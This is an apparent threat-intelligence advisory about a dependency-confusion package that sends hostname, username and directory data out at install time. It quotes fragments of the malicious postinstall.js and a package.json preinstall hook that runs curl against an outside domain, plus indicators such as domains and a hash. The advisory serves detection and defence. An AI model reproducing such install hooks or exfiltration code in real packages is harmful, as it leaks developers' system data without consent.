GCVE-110-OSM-2026-1824

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution. Payload: postinstall.js Key findings: - System Information Exfiltration in postinstall.js: "__dirname,t:new Date().toISOString()}); const req = https.request" - OAST/Interactsh Exfiltration in postinstall.js: "oast.site" - Install Hook Executes Local JS File in package.json: ""preinstall": "node postinstall.js || curl -sk 'https://p1s.uk/dep-confusion/pay..." - HTTP Data Exfiltration in postinstall.js: "os.hostname(),u:os.userInfo().username,d:__dirname,t:new Date().toISOString()});..." - POST Method Defined for Exfiltration in postinstall.js: "method:"POST",headers:{"Content-Type":"application/json","Content-Length":data.l..." IOCs: - domains: p1s.uk, d7d01vqqlg7v2vtidk30gew9w7ebqdsbc.oast.site - payloadFileHash: 65aeb376f9975ad9f920f63462e1475905a96af2a5e9a103cb1eb6aaff874166